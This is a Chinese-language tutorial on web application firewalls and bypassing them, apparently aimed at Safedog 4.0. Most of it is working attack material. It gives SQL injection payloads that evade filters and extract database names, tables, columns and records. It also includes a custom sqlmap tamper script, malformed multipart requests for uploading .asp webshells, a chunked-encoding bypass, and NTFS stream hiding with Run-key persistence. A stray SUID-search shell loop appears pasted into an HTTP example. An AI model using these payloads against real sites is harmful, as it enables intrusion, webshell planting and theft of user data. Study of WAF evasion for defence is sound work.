WAF安装与绕过
WAF简介
网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。
WAF主要功能
网马木马主动防御及查杀
- 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
流量监控
- 能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
网站漏洞防御功能
- 可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。
危险组件防护功能
- 全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全
.Net安全保护模块
- 快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全
双层防盗链链接模式
- 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面
网站特定资源防下载
- 支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载
CC攻击防护
- 自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。
网站流量保护
- 支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。
IP黑白名单
- 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
市场WAF分类
硬件WAF
软件WAF
云WAF
安全狗安装
1、关闭apache程序及httpd.exe进程
2、运行cmd,cd进入apache\bin目录
- 运行httpd.exe -k install -n apache2.4.39
3、打开phpstudy,和安全狗,将未安装的插件安装完成
WAF检测的方法
白名单、黑名单身份验证
WAF绕过方法
身份认证阶段的绕过
可以改为:
www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
或者
www.spisec.com/pen/admin/…\news.php?id=1 union select user,password from mysql.user
详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576
-
4、直接攻击源站
- 这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,
数据解析阶段的绕过
-
5、编码绕过
-
6、修改请求方式绕过
-
7、复参数绕过
- 例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
- 可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
-
8、WAF触发规则绕过
-
9、空格替换法
- 把空格替换成%0a//可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a//即可
- http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5
-
10、大小写绕过
- http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
-
11、双写替换法
- http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4…
关键字替换
-
12、编码与注释结合
- http://www..com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…
http://192.168.0.142:8080/sql.php?id=1/!50000*/union/!50000/select/!50000/1,user(),3,4,5
也可以这样
http://192.11.22.55/sqli/Less-1/?id=1’ and /!1=1/ %23 (WAF不拦截)
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
sqlmap.py -u “URL” --tamper=“versionedmorekeywords.py” --dealy=1
-
13、利用WAF本身的功能绕过
- 假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过
http://www.site.com/index.php?page_id=-15+union+sel*ect+1,2,3,4…
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
-
关键字替换
-
15、组合绕过
http://192.168.0.102:8080/sql.php?id=1 union/%00//!50010select/1,user(),version(),4,5
- and /*!1=1*/ %23
- 把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-2
- 1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
- 判断: 1'/**/%26%261%3d2%23
- 判断列数: 1' order by 2%23
- 关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
- 关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
- 关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
- 关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
- 盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23
- 盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
- 盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
- 盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
- 基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
- 基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
- 基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
- 基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
安全狗4.0绕过
-
16、内联注释绕过
- 和#(单行注释)和/* */(多行注释)如果在/后加惊叹号!意为/ */里的语句将被执行
- 在mysql中 /! …/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。
但是order by (这里order不拦截by不拦截,但是order后面加by会拦截)所以我们还是用之前的内联注释测试绕过
- 发现and能过的内联注释到了order by就不行了。这… 抓头.jpg。再测试一下将order by全部放进内联里,也不行。
根据开头介绍的内联的特性,往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被狗拦了
简单的fuzz 了一下,发现 了大量的可以绕过的版本号
10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
Lucy’ order /!11440 by/ 1,2#
- union select绕过可以直接加内联,因为安全狗看重的是关键字,要绕过只需要中间加些干扰就行。
但union select中间需要放两个内联才行,之后的都是这样。
-1’ union /!11440 select/ 1,2#
- -1’ union /!77777cz//!77777cz/ select 1,2#
- 以前版本的在database()中间插空格符已经不管用了
tip:Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
但可以用内联绕过,直接把()放到内联里,或者经过简单的变形就能过
-1’ union /!77777cz//!77777cz/ select database/!77777a/(),2#
- select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截) 这里将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截。 这里只需要将select放进内联即可绕过,也可以像之前一样在from前面加两个内联/!77777cz/,我这里为了简洁就只写一种。 查表名
-1’ union /!11440select/ group_concat(table_name),2 from information_schema.tables where table_schema=database/!77777cz/()#
- 时间盲注和报错
经测试 sleep()不会被拦但sleep()里面加数字就会被拦 updatexml()不会被拦,但是能执行的updatexml(1,1,0)会被拦截 都可以用内联进行绕过 lucy ’ /!11440or/ /!11440sleep(3)/# -1’AND updatexml/!77777cz/(1,version(),0)#
-
17、自己修改脚本
- 最终sqlmap tamper #!/usr/bin/env python
“”"
Copyright © 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file ‘LICENSE’ for copying permission
Author:LUSHUN
“”"
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
priority = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage(“Bypass safedog4.0’%s’ only %s” % (os.path.basename(file).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(‘AND’,’/!11440AND/’)
payload=payload.replace(‘ORDER’,‘order/!77777cz/’)
payload=payload.replace(“SELECT”,"/!11440SELECT/")
payload=payload.replace(“SLEEP(”,“sleep/!77777cz/(”)
payload=payload.replace(“UPDATEXML(”,“UPDATEXML/!77777cz/(”)
payload=payload.replace(“SESSION_USER()”,"/!11440SESSION_USER()/")
payload=payload.replace(“USER())”,“USER/!77777cz/())”)
payload=payload.replace(“DATABASE()”,“DATABASE/!77777cz/()”)
return payload
-
18、异或绕过
- 在^没有被过滤的时候可以利用它来测试
异或:xor或^
逻辑运算就是:同假异真(两个条件结果相同就为假,结果不同就为真)
例如:1^0 就是 1 ,1^1 就是 0
例子:
lucy’ Xor ‘1’=‘1’ #
如果‘lucy’存在则前后都为真则为返回假
如果’lucy‘不存在则前为假后都为真则为返回真
Xor类似当前后都为真时返回假执行后面一个表达式
如果A为真,则查出不满足B条件数据;
如果A为假,则查出满足B条件数据;
-
19、换行绕过
- 换行符绕过:%23%0a、%2d%2d%0a
%23 是url编码中的 # (也就是MySQL中的行注释符)
%0A 是url编码中的 换行
%23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了)
而再加上%0a(也就是换行符,后面的语句又能成功执行了)
-
20、文件上传绕过
-
方法一:等号绕过
-
方法二:换行绕过
-
方法三:填充垃圾字符
- 在Content-Disposition字段后添加大量垃圾数据,来绕过对文件名的校验
-
方法四:突破0,文件名前加0x09绕过
-
方法五:文件名去掉双引号绕过
WAF文件上传检测方法
-
1、文件名前缀加[0x09]绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”[0x09]backlion.asp”
Content-Type: text/html
-
2、文件名去掉双引号绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=backlion.asp
Content-Type: text/html
-
3、添加一个filename1的文件名参数,并赋值绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp”;filename1=”test.jpg”
Content-Type: text/html
-
4、form变量改成f+orm组合绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name=”filepath”;filename=”backlion.asp”
Content-Type: text/html
-
5、文件名后缀大小写绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.Asp”
Content-Type: text/html
-
6、去掉form-data变量绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name=”filepath”; filename=”backlion.asp”
Content-Type: text/html
-
7、在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”
Content-Type: text/html
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data ; name=”filepath”; filename=”baclion.asp”
Content-Type: text/html
-
8、backlion.asp . (空格+.)绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp .”
Content-Type: text/html
-
9、回车换行,绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp
”
Content-Type: text/html
-
10、NTFS流 在文件名后加::$DATA绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA”
Content-Type: text/html
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.jpg”
Content-Type: text/html
-
11、经过对IIS 6.0的测试发现,其总是采用第一个(也就是双文件上传)Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传backlion.asp成功]
- Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
—————————–15377259221471
Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.txt”
Content-Type: application/octet-stream
Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
Content-Disposition: form-data;
name=”FileUploadName”; filename=”backlion.asp”
-
12、将Content-Type和ConTent-Disposition调换顺序位置绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Type: text/html
ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”
-
13、在文件名前缀加空格(tab键可替换)绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename= “backlion.asp”
Content-Type: text/html
-
14、在form-data加空格绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”uploaded”; filename=”backlion.asp”
Content-Type: text/html
-
15、在form-data的前后加上+绕过
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: +form-data; name=”filepath”; filename=”backlion.asp”
Content-Type: text/html
- ——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data+; name=”filepath”; filename=”backlion.asp”
Content-Type: text/html
waf工具绕过
webshell过狗
-
1、分段传输
- POST /sql.php HTTP/1.1
Host: 192.168.0.107:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6
Cookie: security_level=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 71
4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0
for PART in grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'
; do find $PART ( -perm -04000 -o -perm -02000 ) -type f -xdev -print Done
-
-
2、把木马创建成函数,后面只要调用函数就行
-
3、变量覆盖
-
4、组合法
-
5、在线加密
-
6、文件包含
-
7、通过NTFS交换数据流文件实现文件隐藏
- type test.txt>>test.txt:muma.php生成隐藏文件test.txt:muma.php:$DATA 再用包含语句来执行文件
- 数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
XSS绕过WAF
-
1、大小写绕过
-
2、JavaScript伪协议
-
3、没有分号绕过
-
4、flash
-
5、HTML5新标签
- 新标签包含audio video source、tract
-
6、FUZZ进行测试
-
7、双层标签绕过
后门分析
-
1、代码分析,关键字定位
-
2、网络通信分析
-
3、进程抓包分析